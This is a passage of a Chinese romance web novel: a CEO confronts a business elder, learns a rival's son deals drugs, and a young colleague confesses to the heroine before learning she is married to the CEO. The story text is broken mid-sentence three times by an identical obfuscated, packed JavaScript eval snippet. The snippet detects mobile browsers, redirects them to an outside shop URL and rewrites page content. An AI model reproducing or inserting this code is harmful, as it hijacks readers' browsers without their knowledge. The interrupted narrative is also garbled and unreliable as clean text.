他这种反应,让蒋集一时找不到个游说的气口。 蒋集本想着,只要裴聿珩肯开口对自己诉苦,那他就可以顺理成章,以叔叔的角色安抚他,以兄弟的名义谴责一下贺中,最后再以长辈的身份和一通稀泥,逼裴聿珩捏着鼻子把委屈咽下去,不然就是不顾大局,不是高位者该有的心胸。 可谁知裴聿珩根本不上套,一句规定台词都不给他留。 蒋集哑了哑,还是决定沿着写好的剧本往下走:“哎呀,你身在其中,有些事情,也不能太计较了,我们都是看着你长大的,总有牙齿不碰嘴唇的时候……” 裴聿珩点头称是:“当然了蒋叔,只不过谁是牙齿,谁是嘴唇,也是时候该换换了。” 蒋集:“……” 小兔崽子我给你递这话是让你这样接的? 但早年生意场上拼杀出来的人,浑身上下最硬的就是嘴,最厚的就是脸皮。蒋集十分聪明地略过这一节,又道:“现在生意不好做哇,好几个人都跟我说,想把股份卖掉,回家去养老,我被我按住了。我跟他们讲,这个时间,不要让小裴难做,你说我说得对不对?” 他意思很明白:鸿禧现在人心动摇,都是我在帮你说和,劝你不要不识抬举。 裴聿珩笑了笑,道:“蒋叔您别太辛苦,下次要是再有人跟您这么说,您就介绍他们到我这里来,半夏那边倒是有几个投资人,对鸿禧很有兴趣。” 这简直就是指着蒋集的鼻子让他赶紧滚回家养老,退位让贤。 蒋集果然火冒三丈地跳起来:“裴聿珩!不知好歹,去年我就应该听老贺的,把股份卖掉去跟着他干!” 裴聿珩放下手中的茶盏,双手抱臂,漫不经心地抬头看他。 图穷匕见了? 他等的就是这一刻:“您现在卖也不迟,只要过几天您别后悔。另外,麻烦蒋叔给贺叔带句话:我不是我爸,自己老婆被欺负了都要为了公司忍气吞声。劳烦您转告他,今天我就是把整个鸿禧都赔上,这一局,我也陪他玩到底。” 蒋集一根指头哆嗦地指着裴聿珩,半天说不出一句话来,而裴聿珩坐得不动如山,对他这副即将心脏病发的样子没有丝毫波动:“蒋叔要是没有其他事,还请自便。” 门外秘书室收到信号,从外面拉开了董办的门,彬彬有礼的女秘书迎候在门口:“蒋总,请。” 蒋集咬牙切齿怒发冲冠冲出董办的门时,正好与忧心忡忡的吴桓擦肩而过。 吴桓眼神一秒都没有在他身上停留,径直进了裴聿珩办公室,一句话都没有说,只是将一个优盘轻轻放在裴聿珩面前。 裴聿珩挑眉道:“找到了?” 吴桓面色青白地点点头。 裴聿珩笑了:“这是什么表情,我要开你的时候,也没见你这样。” 他信手将优盘插进电脑,屏幕上弹出几张照片,光线昏暗,角度清奇,隐约能辨认照片上的男人是贺中的儿子贺霄,另外一个人背对着镜头,似乎正在低头,努力辨认着贺霄手上的东西。 裴聿珩:“这是什么?” 吴桓无声地用唇语说了两个字。 裴聿珩脸上万年不变的温煦笑容,终于有了一丝裂痕:“……你确定吗?” 吴桓道:“我确定。我甚至还去找了我警队的哥们儿,最近确实有一种新药,在北城的二代圈子里特别流行。” 涉及到这个层面,已经不能算是私怨的范畴了,甚至不能算是商战,一经举报,必然掀起轩然大波。 裴聿珩压着眉眼:“贺霄,可真是会给他爸找事。” 吴桓犹豫道:“裴总,怎么办?” “即使报警,警察抓人也需要证据。”裴聿珩道:“这是最近的照片吗?” 吴桓摇头:“不是,他好像听到了风声,最近都没怎么出现了。” 裴聿珩眯了眯眼:“行,知道了。” 吴桓瞄见他的表情,本能地不安起来:“裴总,你……要做什么?” 裴聿珩拔下优盘扔给他:“不该问的别问,拿去烧了,然后盯紧贺霄,有什么动静,立刻汇报。” 吴桓领命而去,偌大的办公室蓦地安静下来。 高层的风愈加肆虐,隔着加厚的玻璃都能听见窗外寒风呜咽的哭声,大楼细细高高地立在风里,摇摇欲坠。 坐在这种可怖的响动里,裴聿珩几乎是本能地抓起手机,身体先于理智,拨通了温今遥的电话。 那边不知道在做什么,电话响了好半天,才在自动挂断前勉强接起来。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056205|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音倒是雀跃:“怎么啦,是不是想我啦?” 裴聿珩被她一记直球打得猝不及防,顿了顿,才柔声道:“对,很想你。你在做什么?” 电话那头听动静是打翻了什么东西,温今遥“哎呀”一声,声音变得很远:“我在做杏仁豆腐。” 杏仁豆腐? 裴聿珩失笑,有一种外面天都快塌了,一身尘烟地回到家,发现老婆正在做蛋糕的荒谬感。 “嘴馋了,想吃点心了吗?” 温今遥“吸溜”一声,不知道在喝什么东西,含糊道:“不是呀,给你做的。” 裴聿珩紧绷了一整天的心陡然松下来,笑着问:“为什么给我做?” 那边像是偷偷笑了一声:“因为你是个乖仓鼠,东西藏得很好,我很喜欢。” 在裴聿珩听明白之前,温今遥手机忽然进了个电话,她手忙脚乱,梅开二度,再次打翻了融化好的琼脂,懊恼道:“不跟你说了!我接电话了!” 好不容易把碗扶起来,接通了插进来的电话,温今遥态度急躁:“喂?谁啊?” 余承轩听她语气不好,慌乱道:“我、我,小余……” “哦,”温今遥态度稍缓:“怎么了吗?项目出什么问题了?” “唔……没有,”余承轩吞吞吐吐:“就是听说你一下子请了十天假,把今年的年假全用完了,他们说你加班的时候被人袭击了?是真的吗今遥姐?” 温今遥“啊”了一声:“没事,没什么大事,听着吓人而已。我就是觉得太累了,想好好歇歇。” 那边欲言又止:“哦……这样啊……” 温今遥觉得奇怪:“你还有什么想说的?” 电话那头响起一阵急促的脚步声,听动静余承轩是跑到了某个背人的角落,轻声道:“今遥姐,我、我问你个事啊。” “说。” “就是……就是他们说,你受伤的那天,有人在楼下看到了裴总的车,他……是来接你的吗?你们、你们是什么关系啊?” 温今遥一个卡壳:“……没什么关系啊。” “真的?” “真的。” 余承轩听起来大大松了一口气,声音都跟着轻快起来:“我就说!我就说不可能的嘛,下午我还跟隔壁部门舌战群儒来着,他们说你跟裴聿珩是那种关系,我就跟他们吵,我说今遥姐不可能是那种用尊严换项目的人,被我说对了吧!哈!你看,还是我了解你!” 余承轩一兴奋起来,嗓门就放得很大,温今遥在这边举着手机,耳朵里尽是他的聒噪,她对着厨房的满目狼藉,一个头两个大。 她并不是想骗余承轩,也没有想过隐婚一辈子,她只是还没有做好面对同事异样目光的准备。 也难怪公司会有传言,这样的联系,任谁都会想到,温今遥之前重新来过的机会、做出的方案、活动成功的成绩,这些到底都是她自己得来的吗,还是因为她的床伴是裴聿珩? “既然是这样,我还有一件事想跟你说。” 温今遥心不在焉:“有事早奏无事退朝。” 余承轩忽然收了音量,结结巴巴的声音顺着电波七拐八拐地拐进了她的耳朵:“今遥姐,我、我喜欢你。” 43. 第 43 章 温今遥一脑袋浆糊直接被这句话冻住了:“啊?” 余承轩接着道:“其实从见你第一面开始,我就……今天总监说了,要给我涨薪水,我一个月也能赚一万块啦!以后你就不用住那个又小又破的开间了,咱们可以一起,租个大点的房子……” “哎哎,等等。”眼看他就这样畅想起未来生活,温今遥不得不出口叫停:“怎么就以后,怎么就咱们一起了?” 余承轩上头的兴奋劲儿一下子被她浇熄了:“你……你不愿意吗?” 温今遥啼笑皆非:“小余,咱们表白之前,是不是该问问人家,有没有喜欢的人,有没有男朋友,婚姻状况怎么样?” 余承轩:“不是……你不是才跟前男友分手吗……”他突然提高声音:“你跟他复合了啊?” 温今遥越发头疼起来:“我是什么垃圾堆吗我还跟那种人复合……世界上又不是只有他一个男人,我就不能找了个新的?” 余承轩沉默片刻,问:“所以,你是有其他喜欢的人了,对吗?” 温今遥也默了默,挑拣了合适的措辞:“小余,从你进公司的那天咱们就是同事,你是我在公司里为数不多的好朋友,所以我不想骗你——我一直把你当弟弟,根本就没往这方面想过,所以自然……也就对你没有那种感觉。” “我不需要你对我有感觉!”余承轩早就料到她的回答似地:“你想想,以后你不管是加班,还是通勤,或者是去哪里都好,我都可以和你一起了,你再也不用担心路上安不安全,公司有没有人会对你不利,这些难道不比你‘有感觉’重要?” 温今遥苦笑:“那倒也不必因为这些事情,把自己的幸福都搭上吧?”话出口才意识到自己说错了话:“我不是那个意思,我只是觉得,这样对你太不公平。” 余承轩浑不在意:“我不要公平,我只要你平安。” 温今遥在电话那头张了张嘴,眼眶蓦地一热。 少年赤诚最是难得,更何况她离开单纯的校园很多年,已经许久没有见过这样坦荡直白的人了。 如果没有跟裴聿珩重逢,她听到这样的话,可能真的会头脑一热,一口答应下来。 但那也只是如果。 遇见了那个人,其他的人再好,也都成了将就。 半晌,她接着刚刚没来得及回答的问题,道:“没错,我有其他喜欢的人了。” 余承轩轻轻“啊”了一声,又问:“你天天加班加得恨不得住在公司,什么时候认识的新人,又是什么时候约的会呢?”他声音委委屈屈的:“今遥姐,哪怕是拒绝我,也别骗我,行吗?” 温今遥无声地咽了咽,耐心道:“没有骗你,是以前认识的人,这回又遇上了。” “哦……”余承轩把一肚子的疑问咽回去:“那我明白了。” 他本来很想问问,“以前”是什么时候,那是个什么样的人,自己到底输在哪了,可听她这么说,又觉得问不问也不那么重要。 既然牵扯到“以前”,那就说明她不打算继续跟他解释,想用一个笼统的词把他打发了。 无论这个人是谁,甚至到底有没有这个人,他都不会直接去跟温今遥去求证,他早就不是那个刚进公司,事事都要“今遥姐”的职场小白了。 有些话听听就好,更多的真相,他会自己去印证。 …… 天光终于暗成了化不开的夜色,裴聿珩早早让吴桓下班,自己驱车到了温今遥之前住的出租屋楼下。 他确实迫不及待地想回家见她,又怕自己一身的硝烟,沾染了她洁白无瑕的杏仁豆腐。 那天晚上,他趁着温今遥魂梦颠倒,问她要出租屋的钥匙,她迷迷糊糊地给他指了指通勤包,就沉沉睡去,醒来之后,恐怕根本不记得有这一遭了。 他在破旧小区前拥挤的暗巷里停好车,一边在下班买菜遛娃的人间烟火气中漫步,一边琢磨贺霄的事。 吴桓说那边已经很久没有动静,连警察也盯梢许久,一是贺霄最近都没有怎么出现过,二来,他们每每交易时,都万分小心,说一句“狡兔三窟”也不为过,一有风吹草动立刻撤离,不是熟人贺霄也根本不会亲自去见。 难道就这样等着,就这样算了? 不可能,这不是裴聿珩能做出的事。 再者,从他结婚的消息传出来,多少双眼睛都盯着,如果这一次他高高举起轻轻放下,那类似的事情,以后还不知道会发生多少次。 这次今遥可以为了他,暂时放弃工作,在家里待十天,那以后呢,难道要她彻底放弃自己的生活,像一只金丝雀一样,被他圈养在身边? ……别说温今遥,就连他自己,想到这种要求,都觉得过分荒谬。 如果连这点自由都给不了她,他还有什么脸面叫她一声“夫人”。 喧嚷的世间流水一样滑过他身边,并未在他身上留下痕迹。裴聿珩凭着当初来堵回错家的温今遥,接她回自己住处的那一点印象,轻车熟路走到单元楼门口,扫了一眼紧闭的电梯,转身推开安全门,沿着老旧的楼梯拾级而上。 楼道灯光嘶哑,闪闪烁烁地滋滋作响,一明一暗,映得登堂入室的小广告如同讳莫如深的暗号,角落里经年不清理,泛着灰黑的霉点,阴暗潮湿的气味弥散在年久失修、坑坑洼洼的水泥台阶上,一踩一踏,便扬起一人高。 裴聿珩的昂贵大衣随着他上楼梯的步调,一下一下触着灰蒙蒙的地面,他却浑然不觉。 他想起之前去南城跟贺中见面,两人话不投机,真真假假地针锋相对,他那时就用贺霄当做软肋,明里暗里威胁贺中,或许是贺中真的听进了他的话,警告儿子最近老老实实的,不许被人拿到任何把柄,所以这段时间,贺霄才没留下任何痕迹。 但贺霄可是圈子里有名的二世祖,天老大他老二,会因为自己老爹的一句话,就洗心革面、夹起尾巴做人吗? 他要真有这么听话,还会名声在外,还会做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067843|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种说出来都觉得离谱的事? 裴聿珩手指覆上红漆成片剥落的楼梯扶手,想,这种人,用嘴说肯定是讲不听的,唯一的办法,就是掐他七寸。 贺中肯定是把经济来源给他断了。 之前跟贺中一番交锋,让贺霄不得不从关联公司撤股,连带着他的关联账户也没了动静,如果家里的经济来源再一断,这位少爷如果还想跟原先似地花天酒地,一晚上在酒吧豪掷百万,恐怕只有上街化缘这一条路了。 又转过一层楼梯转角,裴聿珩一边伸手去推安全门,一边去口袋里掏钥匙,带出一阵玲琅声响。原本安静的楼道中却像是跟他遥相呼应似地,被安全门遮掩住的上半层住家门口,忽然响起一阵慌乱的窸窣声,听声音,像是什么人提着满手的东西,慌里慌张从地上站起来。 那一家,正是温今遥的出租屋。 裴聿珩一下子停住了。 由不得他不多想,外面天已经黑了,炝锅声和锅铲碰锅边的声音在整个小区不绝于耳,正是各家各户的晚饭时间,这个点,蹲在别人家门口,除了“蹲守”,他想不出任何其他可能。 上面的人像跟他对峙似地,也站在原地,连呼吸声都几不可闻。 裴聿珩停了一阵子,状似无意地将钥匙重新放回口袋,伸手推开厚重的安全门。 揣在口袋中的右手,已经将钥匙夹在指间,紧紧握住拳,让钥匙的尖端稍稍露出拳锋,力求一击必中。 却没想到,等他一只脚迈出楼道,他的脸彻底暴露在对方的视线中时,对方的神情比他还讶然:“裴总?” 空气静默两秒,裴聿珩才认出他来:“你是……余承轩?” 余承轩本能地想鞠躬,又转念一想,这是私人时间,又不是在公司,就算他再位高权重,也没必要吧。 于是他只是对裴聿珩点点头:“裴总还记得我,您怎么在这里?” 裴聿珩回想起在威禾听汇报时,温今遥在幕后极为熟稔地握过他的手腕,视线不由自主地去寻他的腕骨,眯了眯眼:“这话该我问你才是。” “哦,”余承轩憨厚一笑:“今遥姐,就是温今遥,最近身体不舒服,我来探病。” 说着便扬起手上零零碎碎的吃食给裴聿珩瞧:“都是她爱吃的。” 裴聿珩不着痕迹地咬紧了后槽牙,仔仔细细地看清了他手里的东西。 包包袋袋,什么薯片虾条,自热火锅爆米花,辣味花生怪味胡豆,全是裴聿珩从来没碰过的东西。 他甚至不知道温今遥喜欢这些零食。 裴聿珩把视线从这堆东西上拔开,扫了一眼余承轩。 余承轩正一脸期待地望着裴聿珩,等着他礼尚往来,也对自己讲明来意。 裴聿珩却直接掠过他,掏出钥匙开始开门。 余承轩愣了愣,后知后觉地懵声问:“你为什么有她家的钥匙?” 裴聿珩带着笑意看了他一眼,推开门,温煦地笑道:“请进。” 44. 第 44 章 温今遥这逼仄的小开间,余承轩也来过几回。 一次是A组聚餐之后意犹未尽,也想不出什么地方可以去,温今遥便自告奋勇,让同事们来自己家喝酒续摊;还有一次,是他刚来公司,过年没买到票,温今遥请他跟另外两个同事一起,来家里包饺子过年。 没有一次是他们两个人独处的,他对这间房子,充其量也就算个打过照面的熟人 可余承轩进门后,偏要做出一副半个主人的熟稔样子,轻车熟路跑到厨房,把手里鸡零狗碎的零食全部放进冰箱里,也不管它们是不是需要冷藏:“裴总随便坐哦,我来倒茶。” 裴聿珩站在原地,看着他忙忙叨叨地踮脚够茶叶,烧水,不以为然地扬了扬唇角。 不过这里,他确实是第一次进来。 这就是她原来的家吗? 冬日里门窗紧闭,室内久不通风,有股潮闷气味,裴聿珩转身想去开窗,却被余承轩叫住:“今遥姐不喜欢别人动她家窗子,如果不是她自己开的,她会忘了关。” 裴聿珩动作一顿,缩回了手,不爽之情油然而生。 余承轩把茶端给他,几乎寸步不离地挨着他坐下:“裴总,您来这里是……?” 防备和忌惮简直写在脸上。 裴聿珩笑笑:“受她之托,来替她取点东西。你呢?来探病吗?”他目光意有所指地环视了一圈除他们之外空荡荡的房间:“来这里探病?” 余承轩只是年轻,并不是傻,几乎瞬间就读懂了他话中的深意:怎么说着来探病,结果连人在哪里都不知道? “嗯,早先已经通过电话了,”他迅速扯了个谎:“她说今天会回来住,我想着来碰碰运气,买了点东西,先给她备着。” 裴聿珩眯起眼:“是么。” 傻子都知道他根本不是来探病的,他肯定是听到了什么风声,想看看温今遥现在跟谁住在一起。 裴聿珩并不拆穿他,只是问:“她出院了吗?” 余承轩呆了呆:“出了。”又转而问:“她托您来替她取东西,您不知道她出没出院吗?” 裴聿珩轻咳一声,喝了口茶,道:“这茶是前年的?” 余承轩笑道:“她平时也不喝这些的,专门用来招待客人,结果她的客人也跟她一样,不喝茶只喝奶茶,就剩下了。” 裴聿珩:“……” 真是受够了这种随便一个同事都知道,只有他这个做丈夫的不知道的戏码。 他毫无胃口地把杯子放在桌上,眼角睇着稳坐泰山的余承轩,问:“我听说你是温小姐的徒弟?她看起来,是比你要沉稳些。” 余承轩忽然回过头,定定看了他片刻,笑了:“威禾又不是什么武林帮派,搞什么师父徒弟那一套。她比我早工作一年多,也指点过我不少。不过归根结底,我们是并肩作战的战友。” 裴聿珩不动声色接了这一记冷箭,含笑点头:“是么。那很不错。” “对呀,我们这种北漂,在大城市举目无亲的,也没什么太大的念想,这样互相帮衬互相扶持,就很不错。” 裴聿珩赞同地颔首:“是了,不过上一个要跟温小姐一起互相扶持的人……”他恰到好处地打住了话头:“……算了。” 余承轩脸色变了变,他知道裴聿珩什么意思:你们这种人,嘴上说着互相帮衬相互扶持,其实廉价得很,到了关键时刻,准保大难临头各自飞,搞不好还会因为私欲踩她一脚。 “他呀,”余承轩嗤笑一声:“他配不上今遥姐。” 裴聿珩一瞬不瞬地紧盯着他,挑眉问:“哦?那你的意思,你配得上?” 余承轩被这突如其来的攻击打得一愣,后知后觉又觉得是自己会错了意——这可是裴总,一颗七巧玲珑心,上面八百多个心眼子,怎么可能说出这么直白的话来? 一定是他悟性不够,听不出他的弦外之音。 但话赶话到这了,余承轩也不打算退缩,他望着裴聿珩的眼睛,不闪不避:“我觉得,我配得上。” 裴聿珩上身向他欺近,他忽然觉得呼吸不畅。 满以为自己已经成长到完全能给一个女人依靠和安全感的余承轩,在这个瞬间,彻底变成了猎豹鼻息下任人宰割的猎物。 对峙之间的一点软弱,都会彻底暴露自己的外强中干。他这种段位,在裴聿珩眼里,都不值多一句的回怼。 裴聿珩忽然起身:“我还有些东西要拿,你自便吧。” 余承轩如梦初醒,也跟着站起来:“您要拿什么,是要拿洗漱用品吗,她家里的东西我都很熟……” 裴聿珩充耳不闻,直接走向隔断之后的衣柜,毫不犹豫拉开,从里面捧出一个盖得规整的帆布盒子来。 余承轩正要抬脚跟过去,看到他手里捧的东西,瞬间哑了火。 这东西他认识,是女孩子放内衣裤的收纳箱。 裴聿珩把它装进袋子里,眉眼带着笑意,问:“这些呢?你也很熟吗?” 他又拿了几件衣服放好,跟余承轩错身而过时,在他耳边问:“比我这个做丈夫的,还要更熟吗?” …… 一个杏仁豆腐,差点折腾掉温今遥半条命。 看教程挺简单的,脑子早都会了,但是手说,不,你想多了。 越折腾越烦,就在她想找个借口撂挑子不干的时候,借口自己找上门了。 手机响得像在催命,温今遥随便抹了一把手,拿起来一看,又是余承轩,大喇喇接起来:“又怎么了” 那头连声“喂”都没有,劈头盖脸问:“你跟裴聿珩,真的没关系吗?” 温今遥瞬间哑声:“……啊,怎么了,突然这么问?” “我刚刚去你家,碰到他了,他说……”余承轩忽然笑出声来:“他说他是你丈夫。” 空气静默了两三秒钟,温今遥能从空旷的环境音和电流中,听出余承轩愈发紧张的呼吸。 她深吸一口气,声音严肃,丝毫听不出玩笑:“对,我跟裴聿珩,已经结婚了。” 那端传来一声清脆的落地声,好像是手机倒扣在了地上,半天才窸窸窣窣地被捡起来。 对面再出声时,比起震惊,余承轩的声音听上去更像是某种虚弱:“所以,他们说的,是真的?” “是不是真的,取决于是哪部分。”这一次,温今遥决定直接一了百了:“我是跟他结婚了,就在我们重新拿到鸿禧的项目之后的第四天。我和他小时候就认识,所以我们结婚的真相不是他们说的那么龌龊,只是两个人久别重逢之后,权衡利弊,觉得结婚是当下的最佳选择,然后共同做下的决定。” 至于什么三百万,什么酒后打赌,她都决定略过不提,只说那些听起来像个人的事实:“但我的工作和跟他的关系,从来都是两回事,这中间没有什么私相授受,也没有什么肮脏不堪,他当他的总裁,我做我的策划。”温今遥揉了揉眉心:“余承轩,咱们连办公室都是共用一个,有时候我还让你直接用我的电脑,我有没有从他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081123|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里得到什么见不得光的好处,你难道还不清楚吗?” 余承轩当然清楚,不然刚刚听到温今遥亲口承认自己跟裴聿珩是那种关系,他就不会惊得掉了手机,而是会觉得“果然如此”。 他竟真的先把自己的震惊和难过放在一边,问:“那公司里的那些传言,你打算怎么办?总监那边好像也听到了风声。” “李总监知道,”在他又叫起来之前,温今遥及时按住他:“是那天她和于总去医院看我,跟裴聿珩迎面碰上了!” 余承轩“哦”了一声,后知后觉想起温今遥腰椎滑脱那一次,自己分明就在医院见过裴聿珩,当时他神色中对自己的忌惮、低头去看温今遥的那种担心和温柔,分明已经把什么都说了,只是他自己没有在意。 说白了,他确实觉得温今遥配得上比秦杨更好的人,但这个好,怎么说也是有限度的。 谁会把她这样一个加起班来会拼命、点个外卖凑不够红包门槛都要骂骂咧咧的社畜,跟金尊玉贵、倜傥风流的裴总联系在一起呢? 余承轩甚至觉得,温今遥是为了彻底打消他追求的念头,才信口编出这么离谱的话来。 裴聿珩也许一时情深,跟她玩玩是有可能的,但结婚? 开什么玩笑。 “你是不是被他骗了?”余承轩急道:“今遥姐,他们那种人,能有什么真情呢,他……” 温今遥苦笑:“是不是要我把结婚证给你看,你才会相信?” 话说到这份上,任余承轩再怎么不信,也没办法了。 他默了默,轻轻笑了一声:“今遥姐……我还以为,你跟我是一样的人。” “我很抱歉,”温今遥柔声道:“很抱歉我不是你想象中的那种人。我有私心,也想走捷径,这都没什么不好承认的,但我跟你说过的话,依然作数,我虽然没有那么高尚,但也一样没有那么龌龊。” 听筒另一头响起细微的吸气声,几秒过后,余承轩故作轻松的声音响起:“你道什么歉啊,你做错什么了?光明正大,明媒正娶,又不是插足别人婚姻。” 顿了顿,他又问:“你跟他结婚,全是因为他的身份地位,因为他的钱,还是……”他犹豫了一瞬,还是问:“还是你也真的喜欢他?” 温今遥笑了:“我是真的喜欢他,从很久以前就喜欢。” 余承轩似乎彻底放下了什么包袱,明朗道:“那就好,我就说,你不是那种只爱钱的人。” 他就好像憋着一股劲,只要知道温今遥嫁给了自己喜欢的人,哪怕那个人不是他,他也就还能相信,这个世界上还有爱情。 “那……”余承轩声音又低下去:“今遥姐,你要好好跟他过日子。”说完又不甘心似地:“别再被男人骗了!” 温今遥鼻子莫名一酸:“好,知道了。” “还有啊……” “嗯?” “那个,我今天对裴总可能……有点不知分寸了,你能不能帮我跟他说说情,让他放过我……” 温今遥:“……你都说什么了!” 余承轩老实巴交地把晚上跟裴聿珩怎么见面,怎么跟他对呛,一五一十都跟她说了。 温今遥越听越欲哭无泪:“天杀的余承轩!还让他放过你?你先让他放过我吧!” 哀嚎飘在房间里还没散去,玄关处突然响起指纹锁开启的滴滴声。 温今遥超绝手速挂了电话,冲着门口露出一个巨大巨灿烂的笑:“老公~你回来啦~” 45. 第 45 章 可先进门的却不是她老公,先进门的是两个巨大的、塞得鼓鼓囊囊的购物袋。 温今遥趿拉着拖鞋跑过去,只听门口有物业的声音:“裴总,那我先回去了,有什么其他需要,您再叫我。” 裴聿珩的声音带着惯有的温润笑意:“好,麻烦了。” 物业小哥诚惶诚恐地连声答应着告辞,裴聿珩这才开门进来,正对上一脸惶恐和困惑的温今遥。 裴聿珩脸上并没什么紧绷神色,眉眼舒展地指着两个购物袋:“今遥来,给你带了好吃的。” 温今遥:……好吃的,我看别是什么□□吧! 她一边嘟囔着“我倒要看看是什么好吃的”,一边真的蹲在裴聿珩脚边,开始扒拉购物袋,刚一解开就被震惊了。 这么说吧,温今遥还从来没有在超市以外的地方,见过这么多膨化食品整整齐齐地出现在一起。 她扬起脑袋,讶异地叫道:“你把咱们家楼下的超市收购啦?” 裴聿珩忍俊不禁,伸手去摸她柔软的发顶:“倒没有想过,不过如果你想每天回家之前,去超市拿点新鲜的零食,那也不是不能考虑。” 温今遥还想追问他到底在做什么,猛地想起刚刚余承轩对她在电话里的坦白。 ……她就知道,事情肯定没有那么简单! 当务之急,还是先把人哄好,其他的事之后再说,不然晚上倒霉的又是她。 温今遥从袋子里随便拿了一袋薯条,冲裴聿珩心虚地笑:“我也有礼物送你。” 她牵着裴聿珩走到冰箱跟前,从里面捧出了一碟白白嫩嫩的杏仁豆腐。 裴聿珩顺着她期许的目光垂眼去看,碟子里盛着一小块细腻无瑕的白色布丁,表面柔滑得一丝气泡也无,稍稍一碰便跟着碟子轻轻颤动,飘散着一阵不甚明显、但令人愉悦的清香。 倒让他想起了…… 裴聿珩喉结微不可查地上下一滚,屈指揉了揉眉心,唇间漾开一片笑意:“是你今天一整天的成果吗?” 温今遥迅速点头:“那可不。” 裴聿珩越过她的肩头,视线落在她身后的垃圾桶内,里面随意地塞着一个淡褐色的无纺布包装袋,上面某著名中式甜品店的logo,半遮半掩地露在外面。 温今遥察觉到他目光落点不对,神不知鬼不觉地向旁边挪了一小步,整个人把垃圾桶挡住,对裴聿珩笑得阿谀谄媚:“我做了一下午呢,尝一尝嘛。” 裴聿珩就着她小心翼翼凑上来的手,将那一块颤颤巍巍的杏仁豆腐咬在齿间,倾身在她唇上轻轻一碰,舌尖便给她渡了一半的甜意。 杏仁味的吻蜻蜓点水般一触即离,温今遥还愣在当场,入口即化的甜品已经融化在她樱色的唇间。 她神情懵懂着,却不由自主地舔了舔沾在嘴角残余的糖渍。 裴聿珩轻笑着,伸出拇指用指腹替她轻轻擦掉余痕:“好吃么?” 温今遥脸红着低头:“怎么换你来问我……” 还好我早有预料,她想,要是用我自己做的那一份,现在就要被难吃哭了。 裴聿珩拆了她抱在怀里的虾条,又送了一根进她嘴里:“吃了甜的,就想吃点咸的,这叫什么……” 温今遥把虾条咬得咔嚓脆:“咸甜永动机。” 裴聿珩笑:“对,永动机。吃了我的虾条,就得答应我一件事。” 温今遥心里暗自一惊:来了。 她就知道!跟有钱人结婚总不会这么自由! 这老奸巨猾的家伙,趁着她心虚收买她,现在终于露出了真面目! 会是什么条件,把通讯录里的雄性都删了?从今以后不许跟男的说话?又或者,直接趁着这个机会让她彻底辞职,以保护的名义将她圈养起来? 她猜得太入神,一时忘了回话,一嘴的虾条也忘了咽,只呆呆地望着裴聿珩,一副泫然欲泣的样子。 裴聿珩不急不躁:“嗯?不愿意?” 温今遥急急吞掉口中食物,软着嗓子:“裴总,囚禁违法。” 裴聿珩:? 着实反应了两秒,裴聿珩失笑:“在你眼里,我就是这种变态?” 温今遥谨慎道:“不是这个条件?那你先说,你先说了,我再考虑答不答应。” 裴聿珩低头揽住她纤细腰身,把她往自己跟前捞了捞:“今天我见到余承轩了。” 温今遥浑身一紧:“哦,是吗。” “他似乎很了解你。” “……啊是吗我怎么不觉得。” “今遥。” 温今遥战战兢兢等着他的下文:“啊。” 却听见他试探的声线轻轻落在她头顶:“以后……可以不要吃别的男人买的零食吗?” 温今遥:“啊?” 她困惑地抬头望他,正对上他诚恳又渴求的眼睛:“你想吃什么我都买给你,这些我尝试过的不多,奶茶我也不太了解,但如果你愿意教我,我会是最优秀的学生。” 温今遥无言地望着他深邃好看的眉眼,忽然软乎乎地笑了出来。 眼前的女孩发丝柔亮,侧脸被莹润灯带刷了一层釉似的,一双眸子包着一汪柔软的光,就这样微抬着下巴,定定地望着他笑。 裴聿珩心上盘桓多日的阴翳骤然散去,恍然地想,时间是无意义的么,不然,她为什么从来不曾变过? “那我也有个条件。”温今遥扬着尾音,像挠着他颌下软肉的小爪子:“以后你再有什么不爽的时候,就直接问我好吗?” 裴聿珩抿了抿唇,肉眼可见地犯难。 从小他就被教导,如非必要,喜怒不应形于色,这样就不会给别人拿捏你的机会,慢慢地他连怎么把心中满溢的情感好好表达给心爱之人,好像也忘却了。 更遑论嫉妒这种听上去就丑陋的情绪,之前对她说“我在嫉妒”,四个字已经足够难看,又要怎么直白地问出“你跟他是什么关系”“你跟他在一起更开心吗”“那我呢”这种绝对低位、令人不齿的问题? 温今遥眨眨眼:“裴聿珩小朋友,现在你有什么想问我的么?” 裴聿珩垂着眼睫:“……我没有什么想问的。” 温今遥幽幽叹气,拉他坐到沙发上:“那我来问你。”她脸上不见一丝扭捏,直接道:“上次那个女明星,付静萱啊,她还有没有再联系你?” 裴聿珩一愣:“没有了,无论公务还是私交,都没有再联络。” “哦,”温今遥咂咂嘴,很吃味的样子:“她仗着自己漂亮,就说我配不上你,你说,你说我配不上 